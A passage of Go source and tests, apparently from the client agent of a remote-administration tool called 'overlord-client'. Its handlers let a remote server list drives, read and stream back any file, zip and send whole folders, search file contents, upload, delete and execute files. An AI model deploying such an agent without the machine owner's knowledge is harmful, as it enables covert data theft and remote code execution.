entries := []wire.FileEntry{}
for drive := 'A'; drive <= 'Z'; drive++ {
drivePath := string(drive) + ":\\"
if _, err := os.Stat(drivePath); err == nil {
entries = append(entries, wire.FileEntry{
Name: string(drive) + ":",
Path: drivePath,
IsDir: true,
Size: 0,
ModTime: time.Now().Unix(),
})
}
}
result := wire.FileListResult{
Type: "file_list_result",
CommandID: cmdID,
Path: ".",
Entries: entries,
Error: "",
}
return wire.WriteMsg(ctx, env.Conn, result)
}
func HandleFileDownload(ctx context.Context, env *agentRuntime.Env, cmdID string, path string) error {
log.Printf("file_download: %s", path)
file, err := os.Open(path)
if err != nil {
result := wire.FileDownload{
Type: "file_download",
CommandID: cmdID,
Path: path,
Error: err.Error(),
}
return wire.WriteMsg(ctx, env.Conn, result)
}
defer file.Close()
stat, err := file.Stat()
if err != nil {
result := wire.FileDownload{
Type: "file_download",
CommandID: cmdID,
Path: path,
Error: err.Error(),
}
return wire.WriteMsg(ctx, env.Conn, result)
}
total := stat.Size()
offset := int64(0)
buffer := make([]byte, maxChunkSize)
chunksTotal := 0
if total > 0 {
chunksTotal = int((total + int64(maxChunkSize) - 1) / int64(maxChunkSize))
}
chunkIndex := 0
reader := bufio.NewReader(file)
for {
n, err := io.ReadFull(reader, buffer)
if err == io.EOF {
break
}
if err != nil && err != io.ErrUnexpectedEOF {
result := wire.FileDownload{
Type: "file_download",
CommandID: cmdID,
Path: path,
Error: err.Error(),
Offset: offset,
Total: total,
ChunkIndex: chunkIndex,
ChunksTotal: chunksTotal,
}
return wire.WriteMsg(ctx, env.Conn, result)
}
if n > 0 {
chunk := wire.FileDownload{
Type: "file_download",
CommandID: cmdID,
Path: path,
Data: buffer[:n],
Offset: offset,
Total: total,
ChunkIndex: chunkIndex,
ChunksTotal: chunksTotal,
}
if err := wire.WriteMsg(ctx, env.Conn, chunk); err != nil {
return err
}
offset += int64(n)
chunkIndex++
}
if err == io.ErrUnexpectedEOF {
break
}
}
log.Printf("file_download complete: %s (%d bytes)", path, total)
return nil
}
func HandleFileUpload(ctx context.Context, env *agentRuntime.Env, cmdID string, path string, data []byte, offset int64, total int64, transferID string) error {
if total > 0 {
key := uploadKey(path, transferID)
pendingUploadsMu.Lock()
pending := pendingUploads[key]
pendingUploadsMu.Unlock()
if pending == nil {
log.Printf("file_upload start: %s (total: %d bytes)", path, total)
dir := filepath.Dir(path)
if dir != "." {
if err := os.MkdirAll(dir, 0755); err != nil {
result := wire.FileUploadResult{
Type: "file_upload_result",
CommandID: cmdID,
TransferID: transferID,
Path: path,
OK: false,
Error: err.Error(),
}
return wire.WriteMsg(ctx, env.Conn, result)
}
}
tmpPath := path + ".uploading"
if transferID != "" {
tmpPath = path + ".uploading." + transferID
}
file, err := os.OpenFile(tmpPath, os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
result := wire.FileUploadResult{
Type: "file_upload_result",
CommandID: cmdID,
TransferID: transferID,
Path: path,
OK: false,
Error: err.Error(),
}
return wire.WriteMsg(ctx, env.Conn, result)
}
pending = &pendingUpload{
file: file,
tmpPath: tmpPath,
finalPath: path,
total: total,
receivedOffsets: map[int64]int64{},
transferID: transferID,
}
pendingUploadsMu.Lock()
pendingUploads[key] = pending
pendingUploadsMu.Unlock()
}
end := offset + int64(len(data))
if offset < 0 || end > pending.total {
cleanupPendingUpload(key, pending)
result := wire.FileUploadResult{
Type: "file_upload_result",
CommandID: cmdID,
TransferID: transferID,
Path: path,
OK: false,
Offset: offset,
Size: int64(len(data)),
Received: pending.receivedBytes,
Total: pending.total,
Error: "upload chunk exceeds declared total size",
}
return wire.WriteMsg(ctx, env.Conn, result)
}
if pending.chunkSize == 0 && len(data) > 0 {
pending.chunkSize = int64(len(data))
pending.expectedChunks = int((pending.total + pending.chunkSize - 1) / pending.chunkSize)
}
if pending.file != nil {
if _, err := pending.file.WriteAt(data, offset); err != nil {
cleanupPendingUpload(key, pending)
result := wire.FileUploadResult{
Type: "file_upload_result",
CommandID: cmdID,
TransferID: transferID,
Path: path,
OK: false,
Offset: offset,
Size: int64(len(data)),
Received: pending.receivedBytes,
Total: pending.total,
Error: err.Error(),
}
return wire.WriteMsg(ctx, env.Conn, result)
}
}
if _, exists := pending.receivedOffsets[offset]; !exists {
pending.receivedOffsets[offset] = int64(len(data))
pending.receivedBytes += int64(len(data))
}
hasAllChunks := pending.expectedChunks > 0
if hasAllChunks {
hasAllChunks = len(pending.receivedOffsets) >= pending.expectedChunks
}
if pending.total > 0 && pending.receivedBytes >= pending.total && hasAllChunks {
if pending.file != nil {
_ = pending.file.Sync()
_ = pending.file.Close()
}
_ = os.Remove(pending.finalPath)
if err := os.Rename(pending.tmpPath, pending.finalPath); err != nil {
cleanupPendingUpload(key, pending)
result := wire.FileUploadResult{
Type: "file_upload_result",
CommandID: cmdID,
TransferID: transferID,
Path: path,
OK: false,
Offset: offset,
Size: int64(len(data)),
Received: pending.receivedBytes,
Total: pending.total,
Error: err.Error(),
}
return wire.WriteMsg(ctx, env.Conn, result)
}
log.Printf("file_upload complete: %s (%d bytes)", path, pending.total)
cleanupPendingUpload(key, pending)
}
result := wire.FileUploadResult{
Type: "file_upload_result",
CommandID: cmdID,
TransferID: transferID,
Path: path,
OK: true,
Offset: offset,
Size: int64(len(data)),
Received: pending.receivedBytes,
Total: pending.total,
}
return wire.WriteMsg(ctx, env.Conn, result)
}
dir := filepath.Dir(path)
log.Printf("file_upload start: %s", path)
if dir != "." {
if err := os.MkdirAll(dir, 0755); err != nil {
result := wire.FileUploadResult{
Type: "file_upload_result",
CommandID: cmdID,
TransferID: transferID,
Path: path,
OK: false,
Error: err.Error(),
}
return wire.WriteMsg(ctx, env.Conn, result)
}
}
flag := os.O_CREATE | os.O_WRONLY
if offset == 0 {
flag |= os.O_TRUNC
}
file, err := os.OpenFile(path, flag, 0644)
if err != nil {
result := wire.FileUploadResult{
Type: "file_upload_result",
CommandID: cmdID,
TransferID: transferID,
Path: path,
OK: false,
Error: err.Error(),
}
return wire.WriteMsg(ctx, env.Conn, result)
}
defer file.Close()
if offset > 0 {
if _, err = file.Seek(offset, 0); err != nil {
result := wire.FileUploadResult{
Type: "file_upload_result",
CommandID: cmdID,
TransferID: transferID,
Path: path,
OK: false,
Offset: offset,
Size: int64(len(data)),
Error: err.Error(),
}
return wire.WriteMsg(ctx, env.Conn, result)
}
}
if _, err = file.Write(data); err != nil {
result := wire.FileUploadResult{
Type: "file_upload_result",
CommandID: cmdID,
TransferID: transferID,
Path: path,
OK: false,
Offset: offset,
Size: int64(len(data)),
Error: err.Error(),
}
return wire.WriteMsg(ctx, env.Conn, result)
}
log.Printf("file_upload complete: %s (%d bytes)", path, offset+int64(len(data)))
result := wire.FileUploadResult{
Type: "file_upload_result",
CommandID: cmdID,
TransferID: transferID,
Path: path,
OK: true,
Offset: offset,
Size: int64(len(data)),
Received: offset + int64(len(data)),
Total: total,
}
return wire.WriteMsg(ctx, env.Conn, result)
}
func HandleFileDelete(ctx context.Context, env *agentRuntime.Env, cmdID string, path string) error {
log.Printf("file_delete: %s", path)
err := os.RemoveAll(path)
ok := err == nil
errMsg := ""
if err != nil {
errMsg = err.Error()
}
result := wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: ok,
Message: errMsg,
}
return wire.WriteMsg(ctx, env.Conn, result)
}
func HandleFileMkdir(ctx context.Context, env *agentRuntime.Env, cmdID string, path string) error {
log.Printf("file_mkdir: %s", path)
err := os.MkdirAll(path, 0755)
ok := err == nil
errMsg := ""
if err != nil {
errMsg = err.Error()
}
result := wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: ok,
Message: errMsg,
}
return wire.WriteMsg(ctx, env.Conn, result)
}
func HandleFileZip(ctx context.Context, env *agentRuntime.Env, cmdID string, sourcePath string) error {
log.Printf("file_zip: %s", sourcePath)
zipPath := sourcePath + ".zip"
zipFile, err := os.Create(zipPath)
if err != nil {
result := wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: false,
Message: err.Error(),
}
return wire.WriteMsg(ctx, env.Conn, result)
}
defer zipFile.Close()
zipWriter := zip.NewWriter(zipFile)
defer zipWriter.Close()
totalFiles := 0
filepath.Walk(sourcePath, func(path string, info os.FileInfo, err error) error {
if err == nil && !info.IsDir() {
totalFiles++
}
return nil
})
progressMsg := wire.CommandResult{
Type: "command_progress",
CommandID: cmdID,
OK: true,
Message: fmt.Sprintf("Zipping 0/%d files...", totalFiles),
}
wire.WriteMsg(ctx, env.Conn, progressMsg)
processedFiles := 0
lastProgressUpdate := time.Now()
err = filepath.Walk(sourcePath, func(path string, info os.FileInfo, err error) error {
if err != nil {
return err
}
select {
case <-ctx.Done():
return ctx.Err()
default:
}
header, err := zip.FileInfoHeader(info)
if err != nil {
return err
}
relPath, err := filepath.Rel(sourcePath, path)
if err != nil {
return err
}
header.Name = relPath
if info.IsDir() {
header.Name += "/"
} else {
header.Method = zip.Deflate
}
writer, err := zipWriter.CreateHeader(header)
if err != nil {
return err
}
if !info.IsDir() {
file, err := os.Open(path)
if err != nil {
return err
}
defer file.Close()
_, err = io.Copy(writer, file)
if err != nil {
return err
}
processedFiles++
now := time.Now()
if now.Sub(lastProgressUpdate) > 500*time.Millisecond || processedFiles%10 == 0 {
progress := wire.CommandResult{
Type: "command_progress",
CommandID: cmdID,
OK: true,
Message: fmt.Sprintf("Zipping %d/%d files...", processedFiles, totalFiles),
}
wire.WriteMsg(ctx, env.Conn, progress)
lastProgressUpdate = now
}
}
return nil
})
if err != nil {
result := wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: false,
Message: err.Error(),
}
return wire.WriteMsg(ctx, env.Conn, result)
}
zipWriter.Close()
zipFile.Close()
finalProgress := wire.CommandResult{
Type: "command_progress",
CommandID: cmdID,
OK: true,
Message: fmt.Sprintf("Zip complete. %d files compressed.", processedFiles),
}
wire.WriteMsg(ctx, env.Conn, finalProgress)
time.Sleep(100 * time.Millisecond)
go HandleFileDownload(ctx, env, cmdID, zipPath)
result := wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: true,
Message: "Zip created: " + zipPath,
}
return wire.WriteMsg(ctx, env.Conn, result)
}
func HandleFileRead(ctx context.Context, env *agentRuntime.Env, cmdID string, path string, maxSize int64) error {
log.Printf("file_read: %s", path)
if maxSize == 0 {
maxSize = 10 * 1024 * 1024
}
info, err := os.Stat(path)
if err != nil {
result := wire.FileReadResult{
Type: "file_read_result",
CommandID: cmdID,
Path: path,
Error: err.Error(),
}
return wire.WriteMsg(ctx, env.Conn, result)
}
if info.Size() > maxSize {
result := wire.FileReadResult{
Type: "file_read_result",
CommandID: cmdID,
Path: path,
Error: fmt.Sprintf("file too large: %d bytes (max: %d)", info.Size(), maxSize),
}
return wire.WriteMsg(ctx, env.Conn, result)
}
data, err := os.ReadFile(path)
if err != nil {
result := wire.FileReadResult{
Type: "file_read_result",
CommandID: cmdID,
Path: path,
Error: err.Error(),
}
return wire.WriteMsg(ctx, env.Conn, result)
}
isBinary := !utf8.Valid(data)
result := wire.FileReadResult{
Type: "file_read_result",
CommandID: cmdID,
Path: path,
Content: string(data),
IsBinary: isBinary,
}
return wire.WriteMsg(ctx, env.Conn, result)
}
func HandleFileWrite(ctx context.Context, env *agentRuntime.Env, cmdID string, path string, content string) error {
log.Printf("file_write: %s", path)
dir := filepath.Dir(path)
if err := os.MkdirAll(dir, 0755); err != nil {
result := wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: false,
Message: err.Error(),
}
return wire.WriteMsg(ctx, env.Conn, result)
}
err := os.WriteFile(path, []byte(content), 0644)
ok := err == nil
errMsg := ""
if err != nil {
errMsg = err.Error()
}
result := wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: ok,
Message: errMsg,
}
return wire.WriteMsg(ctx, env.Conn, result)
}
func HandleFileSearch(ctx context.Context, env *agentRuntime.Env, cmdID string, searchID string, basePath string, pattern string, searchContent bool, maxResults int) error {
log.Printf("file_search: path=%s pattern=%s content=%v", basePath, pattern, searchContent)
if maxResults == 0 {
maxResults = 1000
}
results := []wire.FileSearchMatch{}
matchCount := 0
err := filepath.Walk(basePath, func(path string, info os.FileInfo, err error) error {
if err != nil {
return nil
}
if matchCount >= maxResults {
return filepath.SkipAll
}
if !searchContent {
if strings.Contains(strings.ToLower(info.Name()), strings.ToLower(pattern)) {
results = append(results, wire.FileSearchMatch{
Path: path,
})
matchCount++
}
return nil
}
if !info.IsDir() && info.Size() < 10*1024*1024 {
data, err := os.ReadFile(path)
if err != nil || !utf8.Valid(data) {
return nil
}
scanner := bufio.NewScanner(bytes.NewReader(data))
lineNum := 1
for scanner.Scan() {
line := scanner.Text()
if strings.Contains(strings.ToLower(line), strings.ToLower(pattern)) {
results = append(results, wire.FileSearchMatch{
Path: path,
Line: lineNum,
Match: line,
})
matchCount++
if matchCount >= maxResults {
break
}
}
lineNum++
}
}
return nil
})
errMsg := ""
if err != nil {
errMsg = err.Error()
}
result := wire.FileSearchResult{
Type: "file_search_result",
CommandID: cmdID,
SearchID: searchID,
Results: results,
Complete: true,
Error: errMsg,
}
return wire.WriteMsg(ctx, env.Conn, result)
}
func HandleFileCopy(ctx context.Context, env *agentRuntime.Env, cmdID string, source string, dest string) error {
log.Printf("file_copy: %s -> %s", source, dest)
info, err := os.Stat(source)
if err != nil {
result := wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: false,
Message: err.Error(),
}
return wire.WriteMsg(ctx, env.Conn, result)
}
if info.IsDir() {
err = copyDir(source, dest)
} else {
err = copyFile(source, dest)
}
ok := err == nil
errMsg := ""
if err != nil {
errMsg = err.Error()
}
result := wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: ok,
Message: errMsg,
}
return wire.WriteMsg(ctx, env.Conn, result)
}
func HandleFileMove(ctx context.Context, env *agentRuntime.Env, cmdID string, source string, dest string) error {
log.Printf("file_move: %s -> %s", source, dest)
destDir := filepath.Dir(dest)
if err := os.MkdirAll(destDir, 0755); err != nil {
result := wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: false,
Message: err.Error(),
}
return wire.WriteMsg(ctx, env.Conn, result)
}
err := os.Rename(source, dest)
ok := err == nil
errMsg := ""
if err != nil {
errMsg = err.Error()
}
result := wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: ok,
Message: errMsg,
}
return wire.WriteMsg(ctx, env.Conn, result)
}
func copyFile(src, dst string) error {
sourceFile, err := os.Open(src)
if err != nil {
return err
}
defer sourceFile.Close()
destFile, err := os.Create(dst)
if err != nil {
return err
}
defer destFile.Close()
_, err = io.Copy(destFile, sourceFile)
if err != nil {
return err
}
sourceInfo, err := os.Stat(src)
if err != nil {
return err
}
return os.Chmod(dst, sourceInfo.Mode())
}
func copyDir(src, dst string) error {
sourceInfo, err := os.Stat(src)
if err != nil {
return err
}
if err := os.MkdirAll(dst, sourceInfo.Mode()); err != nil {
return err
}
entries, err := os.ReadDir(src)
if err != nil {
return err
}
for _, entry := range entries {
srcPath := filepath.Join(src, entry.Name())
dstPath := filepath.Join(dst, entry.Name())
if entry.IsDir() {
if err := copyDir(srcPath, dstPath); err != nil {
return err
}
} else {
if err := copyFile(srcPath, dstPath); err != nil {
return err
}
}
}
return nil
}
func HandleFileChmod(ctx context.Context, env *agentRuntime.Env, cmdID string, path string, mode string) error {
log.Printf("file_chmod: %s mode=%s", path, mode)
err := ChangeFilePermissions(path, mode)
ok := err == nil
errMsg := ""
if err != nil {
errMsg = err.Error()
}
result := wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: ok,
Message: errMsg,
}
return wire.WriteMsg(ctx, env.Conn, result)
}
func HandleFileExecute(ctx context.Context, env *agentRuntime.Env, cmdID string, path string) error {
log.Printf("file_execute: %s", path)
err := ExecuteFile(path)
ok := err == nil
errMsg := ""
if err != nil {
errMsg = err.Error()
log.Printf("file_execute error: %v", err)
}
result := wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: ok,
Message: errMsg,
}
return wire.WriteMsg(ctx, env.Conn, result)
}
@@ -0,0 +1,469 @@
package handlers
import (
"bytes"
"context"
"os"
"path/filepath"
"testing"
"overlord-client/cmd/agent/config"
rt "overlord-client/cmd/agent/runtime"
"overlord-client/cmd/agent/wire"
"github.com/vmihailenco/msgpack/v5"
"nhooyr.io/websocket"
)
type testWriter struct {
msgs [][]byte
}
func (w *testWriter) Write(ctx context.Context, messageType websocket.MessageType, p []byte) error {
w.msgs = append(w.msgs, append([]byte(nil), p...))
return nil
}
func TestHandleFileList(t *testing.T) {
tmpDir := t.TempDir()
testFile1 := filepath.Join(tmpDir, "test1.txt")
testFile2 := filepath.Join(tmpDir, "test2.txt")
testDir := filepath.Join(tmpDir, "testdir")
if err := os.WriteFile(testFile1, []byte("content1"), 0644); err != nil {
t.Fatalf("Failed to create test file: %v", err)
}
if err := os.WriteFile(testFile2, []byte("content2"), 0644); err != nil {
t.Fatalf("Failed to create test file: %v", err)
}
if err := os.Mkdir(testDir, 0755); err != nil {
t.Fatalf("Failed to create test directory: %v", err)
}
writer := &testWriter{}
env := &rt.Env{
Conn: writer,
Cfg: config.Config{},
}
ctx := context.Background()
cmdID := "test-cmd-1"
if err := HandleFileList(ctx, env, cmdID, tmpDir); err != nil {
t.Fatalf("HandleFileList failed: %v", err)
}
if len(writer.msgs) != 1 {
t.Fatalf("Expected 1 message, got %d", len(writer.msgs))
}
var result wire.FileListResult
if err := msgpack.Unmarshal(writer.msgs[0], &result); err != nil {
t.Fatalf("Failed to unmarshal result: %v", err)
}
if result.Type != "file_list_result" {
t.Errorf("Expected type 'file_list_result', got '%s'", result.Type)
}
if result.CommandID != cmdID {
t.Errorf("Expected CommandID '%s', got '%s'", cmdID, result.CommandID)
}
if len(result.Entries) != 3 {
t.Errorf("Expected 3 entries, got %d", len(result.Entries))
}
names := make(map[string]bool)
for _, entry := range result.Entries {
names[entry.Name] = entry.IsDir
}
if len(names) != 3 {
t.Logf("Found entries: %v", names)
}
hasTest1 := false
hasTest2 := false
hasTestDir := false
for name, isDir := range names {
if name == "test1.txt" {
hasTest1 = true
}
if name == "test2.txt" {
hasTest2 = true
}
if isDir {
hasTestDir = true
}
}
if !hasTest1 || !hasTest2 || !hasTestDir {
t.Errorf("Missing expected entries - test1:%v test2:%v testdir:%v", hasTest1, hasTest2, hasTestDir)
}
}
func TestHandleFileList_InvalidPath(t *testing.T) {
writer := &testWriter{}
env := &rt.Env{
Conn: writer,
Cfg: config.Config{},
}
ctx := context.Background()
cmdID := "test-cmd-2"
invalidPath := filepath.Join(t.TempDir(), "nonexistent")
if err := HandleFileList(ctx, env, cmdID, invalidPath); err != nil {
t.Fatalf("HandleFileList should not return error: %v", err)
}
if len(writer.msgs) != 1 {
t.Fatalf("Expected 1 message, got %d", len(writer.msgs))
}
var result wire.FileListResult
if err := msgpack.Unmarshal(writer.msgs[0], &result); err != nil {
t.Fatalf("Failed to unmarshal result: %v", err)
}
if result.Error == "" {
t.Error("Expected error message for invalid path")
}
}
func TestHandleFileDownload(t *testing.T) {
tmpDir := t.TempDir()
testFile := filepath.Join(tmpDir, "download_test.txt")
testContent := []byte("This is test content for download")
if err := os.WriteFile(testFile, testContent, 0644); err != nil {
t.Fatalf("Failed to create test file: %v", err)
}
writer := &testWriter{}
env := &rt.Env{
Conn: writer,
Cfg: config.Config{},
}
ctx := context.Background()
cmdID := "test-cmd-3"
if err := HandleFileDownload(ctx, env, cmdID, testFile); err != nil {
t.Fatalf("HandleFileDownload failed: %v", err)
}
if len(writer.msgs) == 0 {
t.Fatal("Expected at least 1 message")
}
var download wire.FileDownload
if err := msgpack.Unmarshal(writer.msgs[0], &download); err != nil {
t.Fatalf("Failed to unmarshal download message: %v", err)
}
if download.Type != "file_download" {
t.Errorf("Expected type 'file_download', got '%s'", download.Type)
}
if download.CommandID != cmdID {
t.Errorf("Expected CommandID '%s', got '%s'", cmdID, download.CommandID)
}
if download.Total != int64(len(testContent)) {
t.Errorf("Expected total size %d, got %d", len(testContent), download.Total)
}
var assembled []byte
for _, msg := range writer.msgs {
var chunk wire.FileDownload
if err := msgpack.Unmarshal(msg, &chunk); err != nil {
t.Fatalf("Failed to unmarshal chunk: %v", err)
}
assembled = append(assembled, chunk.Data...)
}
if string(assembled) != string(testContent) {
t.Errorf("Downloaded content mismatch:\ngot: %s\nwant: %s", string(assembled), string(testContent))
}
}
func TestHandleFileDelete(t *testing.T) {
tmpDir := t.TempDir()
testFile := filepath.Join(tmpDir, "delete_test.txt")
if err := os.WriteFile(testFile, []byte("delete me"), 0644); err != nil {
t.Fatalf("Failed to create test file: %v", err)
}
writer := &testWriter{}
env := &rt.Env{
Conn: writer,
Cfg: config.Config{},
}
ctx := context.Background()
cmdID := "test-cmd-4"
if err := HandleFileDelete(ctx, env, cmdID, testFile); err != nil {
t.Fatalf("HandleFileDelete failed: %v", err)
}
if _, err := os.Stat(testFile); !os.IsNotExist(err) {
t.Error("File should have been deleted")
}
if len(writer.msgs) != 1 {
t.Fatalf("Expected 1 message, got %d", len(writer.msgs))
}
var result wire.CommandResult
if err := msgpack.Unmarshal(writer.msgs[0], &result); err != nil {
t.Fatalf("Failed to unmarshal result: %v", err)
}
if !result.OK {
t.Errorf("Expected OK=true, got false with message: %s", result.Message)
}
}
func TestHandleFileMkdir(t *testing.T) {
tmpDir := t.TempDir()
newDir := filepath.Join(tmpDir, "newdir")
writer := &testWriter{}
env := &rt.Env{
Conn: writer,
Cfg: config.Config{},
}
ctx := context.Background()
cmdID := "test-cmd-5"
if err := HandleFileMkdir(ctx, env, cmdID, newDir); err != nil {
t.Fatalf("HandleFileMkdir failed: %v", err)
}
info, err := os.Stat(newDir)
if err != nil {
t.Fatalf("Directory should have been created: %v", err)
}
if !info.IsDir() {
t.Error("Created path should be a directory")
}
if len(writer.msgs) != 1 {
t.Fatalf("Expected 1 message, got %d", len(writer.msgs))
}
var result wire.CommandResult
if err := msgpack.Unmarshal(writer.msgs[0], &result); err != nil {
t.Fatalf("Failed to unmarshal result: %v", err)
}
if !result.OK {
t.Errorf("Expected OK=true, got false with message: %s", result.Message)
}
}
func TestHandleFileUpload(t *testing.T) {
tmpDir := t.TempDir()
uploadPath := filepath.Join(tmpDir, "uploaded.txt")
uploadContent := []byte("This is uploaded content")
writer := &testWriter{}
env := &rt.Env{
Conn: writer,
Cfg: config.Config{},
}
ctx := context.Background()
cmdID := "test-cmd-6"
if err := HandleFileUpload(ctx, env, cmdID, uploadPath, uploadContent, 0, int64(len(uploadContent)), "test-transfer"); err != nil {
t.Fatalf("HandleFileUpload failed: %v", err)
}
content, err := os.ReadFile(uploadPath)
if err != nil {
t.Fatalf("Failed to read uploaded file: %v", err)
}
if string(content) != string(uploadContent) {
t.Errorf("Upload content mismatch:\ngot: %s\nwant: %s", string(content), string(uploadContent))
}
if len(writer.msgs) != 1 {
t.Fatalf("Expected 1 message, got %d", len(writer.msgs))
}
var result wire.FileUploadResult
if err := msgpack.Unmarshal(writer.msgs[0], &result); err != nil {
t.Fatalf("Failed to unmarshal result: %v", err)
}
if !result.OK {
t.Errorf("Expected OK=true, got false with error: %s", result.Error)
}
}
func TestHandleFileDownload_Chunked(t *testing.T) {
tmpDir := t.TempDir()
filePath := filepath.Join(tmpDir, "chunked.bin")
data := bytes.Repeat([]byte("a"), maxChunkSize*2+123)
if err := os.WriteFile(filePath, data, 0644); err != nil {
t.Fatalf("Failed to create test file: %v", err)
}
writer := &testWriter{}
env := &rt.Env{Conn: writer, Cfg: config.Config{}}
ctx := context.Background()
if err := HandleFileDownload(ctx, env, "cmd-chunked-dl", filePath); err != nil {
t.Fatalf("HandleFileDownload failed: %v", err)
}
if len(writer.msgs) < 2 {
t.Fatalf("Expected multiple chunks, got %d", len(writer.msgs))
}
var assembled []byte
var chunksTotal int
for _, msg := range writer.msgs {
var chunk wire.FileDownload
if err := msgpack.Unmarshal(msg, &chunk); err != nil {
t.Fatalf("Failed to unmarshal chunk: %v", err)
}
assembled = append(assembled, chunk.Data...)
chunksTotal = chunk.ChunksTotal
if chunk.Total != int64(len(data)) {
t.Fatalf("Expected total %d, got %d", len(data), chunk.Total)
}
}
if chunksTotal < 2 {
t.Fatalf("Expected chunksTotal >= 2, got %d", chunksTotal)
}
if !bytes.Equal(assembled, data) {
t.Fatalf("Downloaded content mismatch")
}
}
func TestHandleFileUpload_Chunked(t *testing.T) {
tmpDir := t.TempDir()
uploadPath := filepath.Join(tmpDir, "uploaded.bin")
data := bytes.Repeat([]byte("b"), maxChunkSize*2+77)
writer := &testWriter{}
env := &rt.Env{Conn: writer, Cfg: config.Config{}}
ctx := context.Background()
cmdID := "cmd-chunked-ul"
transferID := "transfer-123"
chunks := [][]byte{
data[:maxChunkSize],
data[maxChunkSize : maxChunkSize*2],
data[maxChunkSize*2:],
}
offset := int64(0)
for _, chunk := range chunks {
if err := HandleFileUpload(ctx, env, cmdID, uploadPath, chunk, offset, int64(len(data)), transferID); err != nil {
t.Fatalf("HandleFileUpload failed: %v", err)
}
offset += int64(len(chunk))
}
content, err := os.ReadFile(uploadPath)
if err != nil {
t.Fatalf("Failed to read uploaded file: %v", err)
}
if !bytes.Equal(content, data) {
t.Fatalf("Uploaded content mismatch")
}
if len(writer.msgs) != len(chunks) {
t.Fatalf("Expected %d messages, got %d", len(chunks), len(writer.msgs))
}
}
func TestHandleFileUpload_InvalidChunk(t *testing.T) {
tmpDir := t.TempDir()
uploadPath := filepath.Join(tmpDir, "bad.bin")
writer := &testWriter{}
env := &rt.Env{Conn: writer, Cfg: config.Config{}}
ctx := context.Background()
if err := HandleFileUpload(ctx, env, "cmd-bad", uploadPath, []byte("bad"), 5, 4, "bad-transfer"); err != nil {
t.Fatalf("HandleFileUpload failed: %v", err)
}
if len(writer.msgs) != 1 {
t.Fatalf("Expected 1 message, got %d", len(writer.msgs))
}
var result wire.FileUploadResult
if err := msgpack.Unmarshal(writer.msgs[0], &result); err != nil {
t.Fatalf("Failed to unmarshal result: %v", err)
}
if result.OK {
t.Fatalf("Expected OK=false for invalid chunk")
}
}
func TestHandleFileZip(t *testing.T) {
tmpDir := t.TempDir()
sourceDir := filepath.Join(tmpDir, "source")
if err := os.Mkdir(sourceDir, 0755); err != nil {
t.Fatalf("Failed to create source dir: %v", err)
}
testFile := filepath.Join(sourceDir, "test.txt")
if err := os.WriteFile(testFile, []byte("zip me"), 0644); err != nil {
t.Fatalf("Failed to create test file: %v", err)
}
writer := &testWriter{}
env := &rt.Env{
Conn: writer,
Cfg: config.Config{},
}
ctx := context.Background()
cmdID := "test-cmd-7"
if err := HandleFileZip(ctx, env, cmdID, sourceDir); err != nil {
t.Fatalf("HandleFileZip failed: %v", err)
}
if len(writer.msgs) == 0 {
t.Fatal("Expected at least 1 message")
}
hasResult := false
hasDownload := false
for _, msg := range writer.msgs {
var testMsg map[string]interface{}
if err := msgpack.Unmarshal(msg, &testMsg); err == nil {
msgType, _ := testMsg["type"].(string)
if msgType == "command_result" {
hasResult = true
}
if msgType == "file_download" {
hasDownload = true
}
}
}
t.Logf("Has command_result: %v, has file_download: %v", hasResult, hasDownload)
if !hasResult && !hasDownload {
t.Error("Expected either command_result or file_download message")
}
}
@@ -0,0 +1,104 @@
//go:build !windows
// +build !windows
package handlers
import (
"fmt"
"os"
"os/exec"
"os/user"
"strconv"
"strings"
"syscall"
"overlord-client/cmd/agent/wire"
)
func getFilePermissions(info os.FileInfo) (mode, owner, group string) {
mode = fmt.Sprintf("%04o", info.Mode().Perm())
if stat, ok := info.Sys().(*syscall.Stat_t); ok {
if u, err := user.LookupId(strconv.Itoa(int(stat.Uid))); err == nil {
owner = u.Username
} else {
owner = strconv.Itoa(int(stat.Uid))
}
if g, err := user.LookupGroupId(strconv.Itoa(int(stat.Gid))); err == nil {
group = g.Name
} else {
group = strconv.Itoa(int(stat.Gid))
}
}
return
}
func enrichFileEntry(entry *wire.FileEntry, info os.FileInfo) {
mode, owner, group := getFilePermissions(info)
entry.Mode = mode
entry.Owner = owner
entry.Group = group
}
func ChangeFilePermissions(path string, mode string) error {
var modeVal uint32
_, err := fmt.Sscanf(mode, "%o", &modeVal)
if err != nil {
return fmt.Errorf("invalid mode format: %v", err)
}
return os.Chmod(path, os.FileMode(modeVal))
}
func ExecuteFile(path string) error {
ext := ""
if idx := strings.LastIndex(path, "."); idx != -1 {
ext = path[idx:]
}
info, err := os.Stat(path)
if err != nil {
return fmt.Errorf("file not found: %s", path)
}
switch ext {
case ".sh", ".bash":
return execCommand("bash", path)
case ".py":
return execCommand("python3", path)
case ".rb":
return execCommand("ruby", path)
case ".js":
return execCommand("node", path)
case ".pl":
return execCommand("perl", path)
case "":
if info.Mode()&0111 != 0 {
return execCommand(path)
}
return fmt.Errorf("file is not executable")
default:
if info.Mode()&0111 != 0 {
return execCommand(path)
}
return fmt.Errorf("unsupported file type: %s", ext)
}
}
func execCommand(name string, args ...string) error {
cmd := exec.Command(name, args...)
return cmd.Start()
}
@@ -0,0 +1,71 @@
//go:build windows
// +build windows
package handlers
import (
"fmt"
"os"
"os/exec"
"overlord-client/cmd/agent/wire"
)
func enrichFileEntry(entry *wire.FileEntry, info os.FileInfo) {
}
func ChangeFilePermissions(path string, mode string) error {
return fmt.Errorf("chmod not supported on Windows")
}
func ExecuteFile(path string) error {
ext := ""
lastDot := -1
for i := len(path) - 1; i >= 0; i-- {
if path[i] == '.' {
lastDot = i
break
}
if path[i] == '/' || path[i] == '\\' {
break
}
}
if lastDot >= 0 {
ext = path[lastDot:]
}
if _, err := os.Stat(path); err != nil {
return fmt.Errorf("file not found: %s", path)
}
switch ext {
case ".exe", ".com":
return execCommand(path)
case ".bat", ".cmd":
